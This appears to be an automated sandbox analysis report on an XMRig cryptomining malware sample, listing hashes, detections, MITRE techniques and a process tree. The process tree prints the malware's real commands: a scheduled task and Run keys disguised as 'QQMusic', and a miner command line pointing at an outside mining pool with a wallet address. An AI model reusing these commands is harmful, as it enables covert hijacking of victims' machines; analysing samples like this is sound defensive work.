xmrig | d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
14/06/2024, 11:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
Size

9.0MB
MD5

2d927fdb462570728a981443bf36d19f
SHA1

eb4f351d937729b14a196bf228ba12a2ff07e73e
SHA256

d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239
SHA512

efdf3b568fa07d67bb89eb8880c5140653321f9267c771045d1c7be6a6e88fd680059b779d2e4da497e0a88ff1e9adac6e293bb254e5c4dda776aafd518097c9
SSDEEP

196608:rhHMBGC3PtXtT+Was8/wq1wo9JoYx5JAMdJOnZTG1IvQSaKe6NZOn:r2G02wuwasMdJOnZKVSaaNZOn

Score

10^/10

xmrig miner persistence upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 20 IoCs

miner

resource	yara_rule
behavioral1/memory/3496-132-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig
behavioral1/memory/3496-137-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig
behavioral1/memory/1916-141-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig
behavioral1/memory/4980-148-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig
behavioral1/memory/3092-152-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig
behavioral1/memory/1372-157-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig
behavioral1/memory/5960-160-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig
behavioral1/memory/6132-163-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig
behavioral1/memory/6132-165-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig
behavioral1/memory/5936-169-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig
behavioral1/memory/6140-173-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig
behavioral1/memory/5832-176-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig
behavioral1/memory/1612-180-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig
behavioral1/memory/3296-184-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig
behavioral1/memory/5832-197-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig
behavioral1/memory/2172-201-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig
behavioral1/memory/396-204-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig
behavioral1/memory/396-206-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig
behavioral1/memory/6112-210-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig
behavioral1/memory/2036-213-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	xmrig

Executes dropped EXE 19 IoCs

pid	Process
3496	spreadTpqrst.exe
2500	SMB.exe
1916	spreadTpqrst.exe
4980	spreadTpqrst.exe
3092	spreadTpqrst.exe
1372	spreadTpqrst.exe
5892	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
5960	spreadTpqrst.exe
6132	spreadTpqrst.exe
5936	spreadTpqrst.exe
6140	spreadTpqrst.exe
5832	spreadTpqrst.exe
1612	spreadTpqrst.exe
3296	spreadTpqrst.exe
5832	spreadTpqrst.exe
2172	spreadTpqrst.exe
396	spreadTpqrst.exe
6112	spreadTpqrst.exe
2036	spreadTpqrst.exe

UPX packed file 22 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000700000002341a-7.dat	upx
behavioral1/memory/3496-8-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/3496-132-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/3496-137-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/1916-141-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/4980-148-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/3092-152-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/1372-157-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/5960-160-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/6132-163-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/6132-165-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/5936-169-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/6140-173-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/5832-176-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/1612-180-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/3296-184-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/5832-197-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/2172-201-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/396-204-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/396-206-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/6112-210-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx
behavioral1/memory/2036-213-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp	upx

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\QQMusic = "C:\\Users\\Admin\\AppData\\Local\\Temp\\d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe"	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QQMusic = "C:\\Users\\Admin\\AppData\\Local\\Temp\\d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe"	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\K:	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
File opened (read-only)	\??\VBoxMiniRdrDN	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1128	schtasks.exe

Gathers network information 2 TTPs 6 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3180	ipconfig.exe
3912	ipconfig.exe
5864	ipconfig.exe
6092	ipconfig.exe
6124	ipconfig.exe
3204	ipconfig.exe

Kills process with taskkill 9 IoCs

evasion

pid	Process
1912	taskkill.exe
6020	taskkill.exe
5992	taskkill.exe
1596	taskkill.exe
2320	taskkill.exe
4856	taskkill.exe
6016	taskkill.exe
5812	taskkill.exe
6056	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe

Suspicious use of AdjustPrivilegeToken 49 IoCs

description	pid	Process
Token: SeDebugPrivilege	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
Token: SeBackupPrivilege	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
Token: SeSecurityPrivilege	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
Token: SeSecurityPrivilege	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
Token: SeBackupPrivilege	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
Token: SeSecurityPrivilege	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
Token: SeBackupPrivilege	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
Token: SeSecurityPrivilege	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
Token: SeBackupPrivilege	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
Token: SeSecurityPrivilege	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
Token: SeDebugPrivilege	2320	taskkill.exe
Token: SeLockMemoryPrivilege	3496	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	3496	spreadTpqrst.exe
Token: SeDebugPrivilege	1912	taskkill.exe
Token: SeLockMemoryPrivilege	1916	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	1916	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	4980	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	4980	spreadTpqrst.exe
Token: SeDebugPrivilege	4856	taskkill.exe
Token: SeLockMemoryPrivilege	3092	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	3092	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	1372	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	1372	spreadTpqrst.exe
Token: SeDebugPrivilege	6020	taskkill.exe
Token: SeLockMemoryPrivilege	5960	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	5960	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	6132	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	6132	spreadTpqrst.exe
Token: SeDebugPrivilege	5992	taskkill.exe
Token: SeLockMemoryPrivilege	5936	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	5936	spreadTpqrst.exe
Token: SeDebugPrivilege	6016	taskkill.exe
Token: SeLockMemoryPrivilege	5832	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	5832	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	1612	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	1612	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	3296	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	3296	spreadTpqrst.exe
Token: SeDebugPrivilege	5812	taskkill.exe
Token: SeLockMemoryPrivilege	5832	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	5832	spreadTpqrst.exe
Token: SeDebugPrivilege	6056	taskkill.exe
Token: SeLockMemoryPrivilege	2172	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	2172	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	396	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	396	spreadTpqrst.exe
Token: SeDebugPrivilege	1596	taskkill.exe
Token: SeLockMemoryPrivilege	2036	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	2036	spreadTpqrst.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4724 wrote to memory of 1548	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	93
PID 4724 wrote to memory of 1548	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	93
PID 4724 wrote to memory of 1548	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	93
PID 4724 wrote to memory of 672	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	95
PID 4724 wrote to memory of 672	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	95
PID 4724 wrote to memory of 672	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	95
PID 1548 wrote to memory of 1128	1548	cmd.exe	97
PID 1548 wrote to memory of 1128	1548	cmd.exe	97
PID 1548 wrote to memory of 1128	1548	cmd.exe	97
PID 672 wrote to memory of 2320	672	cmd.exe	98
PID 672 wrote to memory of 2320	672	cmd.exe	98
PID 672 wrote to memory of 2320	672	cmd.exe	98
PID 4724 wrote to memory of 2648	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	99
PID 4724 wrote to memory of 2648	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	99
PID 4724 wrote to memory of 2648	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	99
PID 2648 wrote to memory of 3180	2648	cmd.exe	101
PID 2648 wrote to memory of 3180	2648	cmd.exe	101
PID 2648 wrote to memory of 3180	2648	cmd.exe	101
PID 4724 wrote to memory of 3496	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	102
PID 4724 wrote to memory of 3496	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	102
PID 4724 wrote to memory of 2500	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	104
PID 4724 wrote to memory of 2500	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	104
PID 4724 wrote to memory of 2500	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	104
PID 4724 wrote to memory of 1408	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	105
PID 4724 wrote to memory of 1408	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	105
PID 4724 wrote to memory of 1408	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	105
PID 4724 wrote to memory of 1916	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	107
PID 4724 wrote to memory of 1916	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	107
PID 1408 wrote to memory of 1912	1408	cmd.exe	109
PID 1408 wrote to memory of 1912	1408	cmd.exe	109
PID 1408 wrote to memory of 1912	1408	cmd.exe	109
PID 4724 wrote to memory of 4980	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	110
PID 4724 wrote to memory of 4980	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	110
PID 4724 wrote to memory of 3456	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	112
PID 4724 wrote to memory of 3456	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	112
PID 4724 wrote to memory of 3456	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	112
PID 3456 wrote to memory of 3912	3456	cmd.exe	114
PID 3456 wrote to memory of 3912	3456	cmd.exe	114
PID 3456 wrote to memory of 3912	3456	cmd.exe	114
PID 4724 wrote to memory of 4624	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	115
PID 4724 wrote to memory of 4624	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	115
PID 4724 wrote to memory of 4624	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	115
PID 4724 wrote to memory of 3092	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	117
PID 4724 wrote to memory of 3092	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	117
PID 4624 wrote to memory of 4856	4624	cmd.exe	119
PID 4624 wrote to memory of 4856	4624	cmd.exe	119
PID 4624 wrote to memory of 4856	4624	cmd.exe	119
PID 4724 wrote to memory of 1372	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	120
PID 4724 wrote to memory of 1372	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	120
PID 4724 wrote to memory of 5812	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	122
PID 4724 wrote to memory of 5812	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	122
PID 4724 wrote to memory of 5812	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	122
PID 5812 wrote to memory of 5864	5812	cmd.exe	124
PID 5812 wrote to memory of 5864	5812	cmd.exe	124
PID 5812 wrote to memory of 5864	5812	cmd.exe	124
PID 4724 wrote to memory of 5920	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	126
PID 4724 wrote to memory of 5920	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	126
PID 4724 wrote to memory of 5920	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	126
PID 4724 wrote to memory of 5960	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	128
PID 4724 wrote to memory of 5960	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	128
PID 5920 wrote to memory of 6020	5920	cmd.exe	130
PID 5920 wrote to memory of 6020	5920	cmd.exe	130
PID 5920 wrote to memory of 6020	5920	cmd.exe	130
PID 4724 wrote to memory of 6132	4724	d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe	131

C:\Users\Admin\AppData\Local\Temp\d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
"C:\Users\Admin\AppData\Local\Temp\d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe"
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Checks for VirtualBox DLLs, possible anti-VM trick
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4724
- C:\Windows\SysWOW64\cmd.exe
  cmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe /F
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1548
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe /F
    3⤵
    - Creates scheduled task(s)
    PID:1128
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im spreadTpqrst.exe&&exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:672
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im spreadTpqrst.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2320
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ipconfig /flushdns
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2648
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:3180
- C:\ProgramData\spreadTpqrst.exe
  C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3496
- C:\ProgramData\SMB.exe
  C:\ProgramData\SMB.exe
  2⤵
  - Executes dropped EXE
  PID:2500
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im spreadTpqrst.exe&&exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1408
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im spreadTpqrst.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1912
- C:\ProgramData\spreadTpqrst.exe
  C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1916
- C:\ProgramData\spreadTpqrst.exe
  C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
